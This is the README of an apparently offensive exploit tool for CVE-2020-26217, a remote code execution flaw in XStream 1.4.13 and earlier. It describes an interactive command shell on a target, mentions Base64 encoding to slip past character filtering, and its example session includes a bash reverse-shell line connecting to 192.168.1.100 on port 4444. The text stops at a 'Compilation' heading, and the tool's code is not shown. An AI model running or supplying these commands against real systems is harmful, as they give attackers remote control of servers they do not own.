CVE-2020-26217 XStream RCE Exploit

XStream Remote Code Execution Vulnerability Exploit Tool.

Vulnerability Description

CVE-2020-26217 is a deserialization vulnerability in the XStream library that allows an attacker to trigger remote code execution by crafting malicious XML data.

Affected versions: XStream <= 1.4.13

Usage

go run poc.go <target URL>

Example

# Run the tool
go run poc.go http://target.com:8080/?data

# After entering interactive mode, input commands
cmd> whoami
cmd> cat /flag
cmd> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
cmd> exit

Features

• Interactive command execution
• Automatic URL parameter name parsing
• Base64 encoding to bypass special character filtering
• Supports HTTPS (skip certificate verification)

Compilation